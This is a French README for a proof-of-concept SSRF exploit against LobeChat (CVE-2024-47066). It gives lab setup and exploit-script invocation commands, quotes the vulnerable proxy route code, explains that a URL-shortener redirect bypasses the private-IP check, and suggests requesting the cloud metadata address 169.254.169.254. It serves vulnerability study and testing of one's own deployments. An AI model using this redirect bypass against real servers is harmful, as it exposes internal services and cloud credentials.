
Exploit de preuve de concept pour CVE-2024-47066, une vulnérabilité de server-side request forgery (SSRF) dans LobeChat qui contourne les restrictions basées sur l'adresse IP via des redirections pour accéder aux ressources internes.
★ CVE-2024-47066 LobeChat SSRF PoC ★
CVE-2024-47066 : Lobe Chat est un framework de chat open-source d'intelligence artificielle. Avant la version 1.19.13, la protection contre la falsification de requêtes côté serveur implémentée dans src/app/api/proxy/route.ts ne prend pas en compte les redirections et pourrait être contournée lorsqu'un attaquant fournit une URL malveillante externe qui redirige vers des ressources internes comme un réseau privé ou une adresse de bouclage. La version 1.19.13 contient un correctif amélioré pour ce problème.
Rapporteur : a1loy
https://github.com/user-attachments/assets/2c4a3be0-5732-48f5-a96c-d361fd914fec
git clone https://github.com/l8BL/CVE-2024-47066.git
cd CVE-2024-47066
cd docker
docker-compose up -d
(Externe) LodeChat --> ATTAQUE SSRF --> (Interne) http://www.internal-service:4000
pip install -r requirements.txt
python3 CVE-2024-47066.py -v <URL_TO_EXPLOIT> -i <URL_TO_REQUEST>
python3 CVE-2024-47066.py -v http://localhost:3210 -i http://www.internal-service:4000
CVE-2024-47066


import { isPrivate } from 'ip';
import { NextResponse } from 'next/server';
import dns from 'node:dns';
import { promisify } from 'node:util';
const lookupAsync = promisify(dns.lookup);
export const runtime = 'nodejs';
/**
* just for a proxy
*/
export const POST = async (req: Request) => {
const url = new URL(await req.text());
let address;
try {
const lookupResult = await lookupAsync(url.hostname);
address = lookupResult.address;
} catch (err) {
console.error(`${url.hostname} DNS parser error:`, err);
return NextResponse.json({ error: 'DNS parser error' }, { status: 504 });
}
const isInternalHost = isPrivate(address);
if (isInternalHost)
return NextResponse.json({ error: 'Not support internal host proxy' }, { status: 400 });
const res = await fetch(url.toString());
return new Response(res.body, { headers: res.headers });
};
En dessous de la ligne 26, il n'y a aucun endroit pour déterminer la réponse de redirection. Ainsi, en utilisant un raccourcisseur d'URL, vous pouvez facilement contourner la fonction 'isPrivate()'.
Effectuer une requête vers http://169.254.169.254
Ce dépôt n'est pas destiné à être un exploit SSRF pour CVE-2024-47066. Le but de ce projet est d'aider les personnes à apprendre cette vulnérabilité, et éventuellement de tester leurs propres applications.